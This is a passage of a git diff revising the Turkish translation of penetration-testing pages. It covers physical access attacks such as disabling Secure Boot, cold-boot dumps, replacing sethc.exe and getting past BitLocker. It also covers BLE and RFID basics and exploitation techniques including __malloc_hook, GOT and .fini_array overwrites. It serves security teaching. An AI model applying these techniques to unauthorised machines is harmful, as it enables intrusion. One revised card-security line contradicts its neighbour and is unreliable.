etmek ve değiştirmek için kullanılabilir, bu da **Secure Boot**'un devre dışı bırakılmasını içerir. Bu, aşağıdaki komutla gerçekleştirilebilir: +Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı UEFI ayarlarını analiz etmek ve değiştirmek, **Secure Boot**'u devre dışı bırakmak için kullanılabilir. Bu, aşağıdaki komutla gerçekleştirilebilir: `python chipsec_main.py -module exploits.secure.boot.pk` ### RAM Analizi ve Soğuk Başlatma Saldırıları -RAM, güç kesildiğinde verileri kısa bir süre saklar, genellikle **1 ila 2 dakika**. Bu süre, sıvı nitrojen gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir. +RAM, güç kesildiğinde verileri genellikle **1 ila 2 dakika** boyunca kısa bir süre saklar. Bu süre, sıvı nitrojen gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir. ### Doğrudan Bellek Erişimi (DMA) Saldırıları @@ -26,11 +26,11 @@ RAM, güç kesildiğinde verileri kısa bir süre saklar, genellikle **1 ila 2 d ### Sistem Erişimi için Live CD/USB -**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıkları ile bir komut istemcisi sağlar. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır. +**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıkları ile bir komut istemcisi sağlayabilir. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır. **Kon-Boot**, Windows çekirdeğini veya UEFI'yi geçici olarak değiştirerek şifreyi bilmeden Windows sistemlerine giriş yapmayı kolaylaştıran bir araçtır. Daha fazla bilgi [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinde bulunabilir. -### Windows Güvenlik Özelliklerini Yönetme +### Windows Güvenlik Özelliklerini Aşma #### Başlatma ve Kurtarma Kısayolları @@ -38,7 +38,7 @@ RAM, güç kesildiğinde verileri kısa bir süre saklar, genellikle **1 ila 2 d - **F8**: Kurtarma moduna girme. - Windows afişinden sonra **Shift** tuşuna basmak, otomatik oturumu atlayabilir. -#### KÖTÜ USB Cihazları +#### Kötü USB Cihazları **Rubber Ducky** ve **Teensyduino** gibi cihazlar, hedef bilgisayara bağlandıklarında önceden tanımlanmış yükleri çalıştırabilen **kötü USB** cihazları oluşturmak için platformlar olarak hizmet eder. @@ -46,12 +46,12 @@ RAM, güç kesildiğinde verileri kısa bir süre saklar, genellikle **1 ila 2 d Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası da dahil olmak üzere hassas dosyaların kopyalarını oluşturma imkanı sağlar. -### BitLocker Şifrelemesini Atlatma +### BitLocker Şifrelemesini Aşma -BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak atlatılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir. +BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak aşılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir. ### Kurtarma Anahtarı Ekleme için Sosyal Mühendislik -Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlama anahtarı ekleyecek bir komutu çalıştırmaya ikna ederek sosyal mühendislik taktikleriyle eklenebilir; bu anahtar sıfırlardan oluşur ve böylece şifre çözme sürecini basitleştirir. +Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlardan oluşan yeni bir kurtarma anahtarı ekleyecek bir komutu çalıştırmaya ikna ederek sosyal mühendislik taktikleriyle eklenebilir ve böylece şifre çözme süreci basitleştirilebilir. {{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md index 9b18e7bdb..6e6141aa9 100644 --- a/src/radio-hacking/low-power-wide-area-network.md +++ b/src/radio-hacking/low-power-wide-area-network.md @@ -4,7 +4,7 @@ ## Giriş -**Düşük Güçlü Geniş Alan Ağı** (LPWAN), **uzun menzilli iletişim** için düşük bit hızıyla tasarlanmış kablosuz, düşük güç tüketimli geniş alan ağı teknolojilerinin bir grubudur.\ +**Düşük Güçlü Geniş Alan Ağı** (LPWAN), **uzun menzilli iletişim** için düşük bit hızında tasarlanmış kablosuz, düşük güç tüketimli geniş alan ağı teknolojilerinin bir grubudur.\ Altı milin üzerinde mesafelere ulaşabilirler ve **pilleri** 20 yıla kadar dayanabilir. Uzun Menzil (**LoRa**), birçok ülkede popülerdir ve **LoRaWAN** adında açık kaynak bir spesifikasyona sahiptir. diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md index 9adaa1e7d..35c980fd4 100644 --- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -6,15 +6,15 @@ Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, yalnızca 40 kanal kullan BLE cihazları, **reklam paketleri** (**beaconlar**) göndererek iletişim kurar; bu paketler, BLE cihazının varlığını diğer yakın cihazlara yayınlar. Bu beaconlar bazen **veri** de gönderir. -Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine **SCAN isteği** ile yanıt verebilir; bu istek özel olarak reklam cihazına gönderilir. O tarama isteğine verilen **yanıt**, **reklam** paketinin yapısını kullanır ve başlangıç reklam isteğine sığmayan ek bilgileri içerir, örneğin tam cihaz adı. +Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine **SCAN isteği** ile yanıt verebilir; bu istek özel olarak reklam cihazına gönderilir. O tarama isteğine verilen **yanıt**, tam cihaz adını gibi ilk reklam isteğine sığmayan ek bilgilerle birlikte **reklam** paketinin aynı yapısını kullanır. ![](<../images/image (201) (2) (1) (1).png>) -Preambül baytı frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır** ve birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın olarak kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa**, yalnızca reklam paketinde veri iletmek için **ADV_NONCONN_IND** PDU türünü kullanır. Cihazlar, **bağlantılara izin veriyorlarsa** ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi **durduruyorlarsa** **ADV_IND** kullanır. +Preambül baytı frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır**; bu, birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanarak yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur. ## GATT -**Generic Attribute Profile** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin nasıl tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlara **ek bilgi sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**. +**Genel Özellik Profili** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlara **ek bilgi sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**. # Sayım ```bash diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md index bd0ffee05..7565d725c 100644 --- a/src/radio-hacking/pentesting-rfid.md +++ b/src/radio-hacking/pentesting-rfid.md @@ -6,7 +6,7 @@ **Radyo Frekansı Tanımlama (RFID)** en popüler kısa menzilli radyo çözümüdür. Genellikle bir varlığı tanımlayan bilgileri depolamak ve iletmek için kullanılır. -Bir RFID etiketi, **kendi güç kaynağına (aktif)** dayanabilir, örneğin gömülü bir pil, veya okuma anteninden alınan **radyo dalgalarından indüklenen akımı** kullanarak güç alabilir (**pasif**). +Bir RFID etiketi, **kendi güç kaynağına (aktif)**, örneğin gömülü bir bataryaya dayanabilir veya okuma anteninden alınan **radyo dalgalarından indüklenen akımı** kullanarak güç alabilir (**pasif**). ### Classes @@ -21,11 +21,11 @@ EPCglobal, RFID etiketlerini altı kategoriye ayırır. Her kategorideki bir eti ### Information Stored in RFID Tags -Bir RFID etiketinin belleği genellikle dört tür veri depolar: **tanımlama verisi**, etiketin bağlı olduğu **varlığı** **tanımlar** (bu veri, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); **tamamlayıcı veri**, varlıkla ilgili **daha fazla** **detay** sağlar; **kontrol verisi**, etiketin iç **konfigürasyonu** için kullanılır; ve etiketin **üretici verisi**, etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki veri türünü tüm ticari etiketlerde bulacaksınız; son iki veri türü etiketin satıcısına göre farklılık gösterebilir. +Bir RFID etiketinin belleği genellikle dört tür veri depolar: etiketin bağlı olduğu **varlığı tanımlayan** **tanımlama verisi** (bu veri, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); varlıkla ilgili **daha fazla** **detay** sağlayan **tamamlayıcı veri**; etiketin iç **konfigürasyonu** için kullanılan **kontrol verisi**; ve etiketin **üretici verisi**, bu da etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki veri türünü tüm ticari etiketlerde bulacaksınız; son iki veri, etiketin satıcısına bağlı olarak farklılık gösterebilir. -ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt, Kullanıcı Verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır. +ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt ise, kullanıcı verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır. -Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğunda ve AFI ve DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan şifreler** içerir, ancak etiket sahiplerinin **özel şifreler yapılandırmasına** izin verir. +Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğunda ve AFI ile DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan şifreler** içerir, ancak etiket sahiplerinin **özel şifreler yapılandırmasına** izin verir. ### Low & High frequency tags comparison @@ -38,7 +38,7 @@ ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan U Bu cihazlar, **pasif** **RFID** teknolojisine dayanır ve **30 kHz ile 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ile 134 kHz kullanılır: - **Uzun Menzil** — daha düşük frekans, daha yüksek menzil anlamına gelir. Bir metreye kadar mesafeden çalışan bazı EM-Marin ve HID okuyucular vardır. Bunlar genellikle otoparklarda kullanılır. -- **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veriler kimlik doğrulaması yapılmadan ve herhangi bir şekilde korunmadan iletilir. Kart okuyucunun menzilindeyken, sadece kimliğini iletmeye başlar. +- **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veriler kimlik doğrulaması yapılmadan ve herhangi bir koruma olmadan iletilir. Kart okuyucunun menzilindeyken, sadece kimliğini iletmeye başlar. - **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün ilkel olması nedeniyle başkalarının cebinden bile okunabilir. **Popüler 125 kHz protokolleri:** @@ -62,7 +62,7 @@ Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**: **Yüksek frekanslı etiketler**, kriptografi, büyük iki yönlü veri transferi, kimlik doğrulama vb. gerektiğinde daha karmaşık bir okuyucu-etiket etkileşimi için kullanılır.\ Genellikle banka kartlarında, toplu taşıma araçlarında ve diğer güvenli geçişlerde bulunur. -**Yüksek frekanslı 13.56 MHz etiketleri, bir dizi standart ve protokoldür**. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılır, ancak bu her zaman doğru değildir. Fiziksel ve mantıksal seviyelerde kullanılan temel protokol seti ISO 14443'tür. Yüksek seviyeli protokoller ve alternatif standartlar (ISO 19092 gibi) buna dayanmaktadır. Birçok kişi bu teknolojiyi **Yakın Alan İletişimi (NFC)** olarak adlandırır, bu terim 13.56 MHz frekansında çalışan cihazlar için kullanılır. +**Yüksek frekanslı 13.56 MHz etiketler, bir dizi standart ve protokoldür**. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılır, ancak bu her zaman doğru değildir. Fiziksel ve mantıksal seviyelerde kullanılan temel protokol seti ISO 14443'tür. Yüksek seviyeli protokoller ve alternatif standartlar (ISO 19092 gibi) buna dayanmaktadır. Birçok kişi bu teknolojiyi **Yakın Alan İletişimi (NFC)** olarak adlandırır, bu terim 13.56 MHz frekansında çalışan cihazlar için kullanılır.
@@ -74,9 +74,9 @@ ISO 14443-A standardına dayanan tüm yüksek frekanslı kartlar, benzersiz bir UID'ye dayanan birçok erişim kontrol sistemi, **kimlik doğrulama ve erişim izni** vermek için kullanılır. Bazen bu, RFID etiketleri **kriptografi desteklese bile** gerçekleşir. Böyle bir **kötüye kullanım**, güvenlik açısından onları aptal **125 kHz kartları** seviyesine düşürür. Sanal kartlar (Apple Pay gibi) dinamik bir UID kullanır, böylece telefon sahipleri ödeme uygulamalarıyla kapıları açmazlar. -- **Düşük menzil** — yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmesi için özel olarak tasarlanmıştır. Bu, kartı yetkisiz etkileşimlerden korumaya da yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm'dir ve bu, özel yapım yüksek menzil okuyucularla olmuştur. +- **Düşük menzil** — yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmesi için özel olarak tasarlanmıştır. Bu, kartı yetkisiz etkileşimlerden korumaya da yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm'dir ve bu, özel yapılmış yüksek menzil okuyucularla olmuştur. - **Gelişmiş protokoller** — veri transfer hızları 424 kbps'ye kadar çıkabilir, bu da tam teşekküllü iki yönlü veri transferine olanak tanır. Bu da **kriptografi**, veri transferi vb. sağlar. -- **Yüksek güvenlik** — yüksek frekanslı temassız kartlar, akıllı kartlarla kıyaslandığında hiçbir şekilde geri kalmaz. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografi uygulayan kartlar vardır. +- **Yüksek güvenlik** — yüksek frekanslı temassız kartlar, akıllı kartlara hiçbir şekilde üstün değildir. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografi uygulayan kartlar vardır. ### Attack @@ -86,7 +86,7 @@ Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**: ../todo/radio-hacking/flipper-zero/fz-nfc.md {{#endref}} -Veya **proxmark** kullanarak: +Ya da **proxmark** kullanarak: {{#ref}} ../todo/radio-hacking/proxmark-3.md diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 77c0615da..42036300e 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,9 +4,9 @@ ## **Malloc Hook** -Resmi GNU sitesinde belirtildiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine** işaret eden bir işaretçidir ve bu adres **libc kütüphanesinin veri bölümünde** saklanır. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. +Resmi GNU sitesinde belirttiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine** işaret eden bir işaretçidir ve bu adres **libc kütüphanesinin veri bölümünde** saklanır. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. -Malloc'u çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür. +Malloc'u çağırmak için programın bunu çağırmasını beklemek veya **`printf("%10000$c")** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür. One Gadget hakkında daha fazla bilgi için: diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md index 01257655f..5517ff9f1 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -12,7 +12,7 @@ GOT'taki her giriş, ikilinin çağırabileceği harici kütüphanelerdeki bir s ### **PLT: Procedure Linkage Table** -**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur, eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, GOT'a kaydedilir. +**Procedure Linkage Table (PLT)**, GOT ile yakın bir şekilde çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur, eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, GOT'a kaydedilir. **Bu nedenle,** GOT girişleri, bir harici fonksiyon veya değişkenin adresi çözüldüğünde doğrudan kullanılır. **PLT girişleri, bu adreslerin dinamik bağlayıcı aracılığıyla ilk çözümlemesini kolaylaştırmak için kullanılır.** @@ -24,7 +24,7 @@ GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`** ![](<../../../images/image (619).png>) -**Yükleme** sonrasında **GEF** içinde **GOT'taki** **fonksiyonları** **görebildiğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT` +GEF'de **çalıştırılabilir dosyayı yükledikten sonra** **GOT'taki** **fonksiyonları** **görebildiğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT` ![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) @@ -34,7 +34,7 @@ GEF kullanarak bir **hata ayıklama** oturumu **başlatabilir** ve GOT tablosunu ### GOT2Exec -Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne yükleyecek olan fonksiyon adresini içerir. Bu keyfi yazmanın amacı, daha sonra **çalıştırılacak** bir fonksiyonun **GOT girişini**, örneğin **`system`** **fonksiyonunun** PLT adresi ile **geçersiz kılmaktır**. +Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne ait adresleri içerir. Bu keyfi yazmanın amacı, daha sonra **çalıştırılacak** bir fonksiyonun **GOT girişini** **`system`** **fonksiyonunun** PLT adresi ile **geçersiz kılmaktır**. İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak** bir **fonksiyonun** **GOT'unu** **geçersiz kılacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz). diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md index 1ba78ccc6..c61bd7405 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md @@ -7,8 +7,8 @@ > [!CAUTION] > Günümüzde **.dtors bölümü olan bir ikili bulmak çok tuhaf**. -Yıkıcılar, program **tamamlanmadan önce** ( `main` fonksiyonu döndükten sonra) **çalıştırılan** fonksiyonlardır.\ -Bu fonksiyonların adresleri, ikilinin **`.dtors`** bölümünde saklanır ve bu nedenle, eğer **__DTOR_END__**'ye bir **shellcode** adresi **yazmayı** başarırsanız, bu, program sona ermeden önce **çalıştırılacaktır**. +Yıkıcılar, program **sona ermeden önce** ( `main` fonksiyonu döndükten sonra) **çalıştırılan** fonksiyonlardır.\ +Bu fonksiyonların adresleri, ikilinin **`.dtors`** bölümünde saklanır ve bu nedenle, eğer **__DTOR_END__** içine bir **shellcode** için **adres** **yazmayı** başarırsanız, bu, program sona ermeden önce **çalıştırılacaktır**. Bu bölümün adresini almak için: ```bash @@ -22,7 +22,7 @@ Genellikle **DTOR** işaretlerini `ffffffff` ve `00000000` değerleri **arasınd ## **.fini_array** -Temelde bu, program sona ermeden önce **çağrılacak fonksiyonlar** ile bir yapıdır, tıpkı **`.dtors`** gibi. Bu, **shellcode**'unuzu sadece bir adrese atlayarak çağırabiliyorsanız veya **zafiyeti ikinci kez istismar etmek için** tekrar **`main`**'e dönmeniz gereken durumlarda ilginçtir. +Temelde bu, program sona ermeden önce **çağrılacak fonksiyonlar** ile bir yapıdır, tıpkı **`.dtors`** gibi. Bu, **shellcode**'unuzu sadece bir adrese atlayarak çağırabiliyorsanız veya **vulnerabiliteyi ikinci kez istismar etmek için** tekrar **`main`**'e dönmeniz gereken durumlarda ilginçtir. ```bash objdump -s -j .fini_array ./greeting @@ -33,7 +33,7 @@ Contents of section .fini_array: #Put your address in 0x8049934 ``` -Not edin ki bu **sonsuz bir döngü** **oluşturmayacak** çünkü ana fonksiyona geri döndüğünüzde kanarya bunu fark edecek, yığın sonu bozulmuş olabilir ve fonksiyon tekrar çağrılmayacak. Böylece, bu sayede **1 kez daha yürütme** gerçekleştirebileceksiniz. +Not edin ki bu **sonsuz bir döngü** **oluşturmayacak** çünkü ana fonksiyona geri döndüğünüzde canary bunu fark edecek, stack'in sonu bozulmuş olabilir ve fonksiyon tekrar çağrılmayacak. Böylece, bu sayede **1 kez daha yürütme** gerçekleştirebileceksiniz. > [!CAUTION] > [Full RELRO](../common-binary-protections-and-bypasses/relro.md) ile birlikte `.fini_array` bölümü **salt okunur** hale gelir. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md index 8f4f31619..59fe29739 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Çekirdek Dosyalarını Etkinleştir +## Core dosyalarını etkinleştir -**Çekirdek dosyaları**, bir işlemin çökmesi durumunda bir işletim sistemi tarafından oluşturulan bir dosya türüdür. Bu dosyalar, çökme anında çökme yaşayan işlemin bellek görüntüsünü, işlemin belleği, kayıtları ve program sayacı durumu gibi diğer ayrıntıları içerir. Bu anlık görüntü, hata ayıklama ve çökme nedenini anlama açısından son derece değerli olabilir. +**Core dosyaları**, bir işlemin çökmesi durumunda bir işletim sistemi tarafından oluşturulan bir dosya türüdür. Bu dosyalar, çökme anında çökme yaşayan işlemin bellek görüntüsünü, işlemin belleği, kayıtları ve program sayacı durumu gibi diğer ayrıntıları içerir. Bu anlık görüntü, hata ayıklama ve çökme nedenini anlama açısından son derece değerli olabilir. -### **Çekirdek Dump Oluşturmayı Etkinleştirme** +### **Core Dump Oluşturmayı Etkinleştirme** -Varsayılan olarak, birçok sistem çekirdek dosyalarının boyutunu 0 ile sınırlar (yani, çekirdek dosyası oluşturmaz) disk alanı tasarrufu sağlamak için. Çekirdek dosyalarının oluşturulmasını etkinleştirmek için `ulimit` komutunu (bash veya benzeri kabuklarda) kullanabilir veya sistem genelinde ayarları yapılandırabilirsiniz. +Varsayılan olarak, birçok sistem core dosyalarının boyutunu 0 ile sınırlar (yani, core dosyası oluşturmaz) disk alanı tasarrufu sağlamak için. Core dosyalarının oluşturulmasını etkinleştirmek için `ulimit` komutunu (bash veya benzeri kabuklarda) kullanabilir veya sistem genelinde ayarları yapılandırabilirsiniz. -- **Ulimit Kullanarak**: `ulimit -c unlimited` komutu, mevcut kabuk oturumunun sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için yararlıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir. +- **Ulimit kullanarak**: `ulimit -c unlimited` komutu, mevcut kabuk oturumunun sınırsız boyutta core dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için yararlıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir. ```bash ulimit -c unlimited ``` @@ -24,6 +24,6 @@ Bir çekirdek dosyasını analiz etmek için GDB (GNU Hata Ayıklayıcı) gibi h ```bash gdb /path/to/executable /path/to/core_file ``` -Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler, böylece çökme anındaki programın durumunu incelemenizi sağlar. Yığın üzerinde keşif yapmak, değişkenleri incelemek ve çökme nedenini anlamak için GDB komutlarını kullanabilirsiniz. +Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler, böylece çökme anındaki programın durumunu inceleyebilirsiniz. Yığınları keşfetmek, değişkenleri incelemek ve çökme nedenini anlamak için GDB komutlarını kullanabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md index 2f8a5d119..4c7e698c7 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md 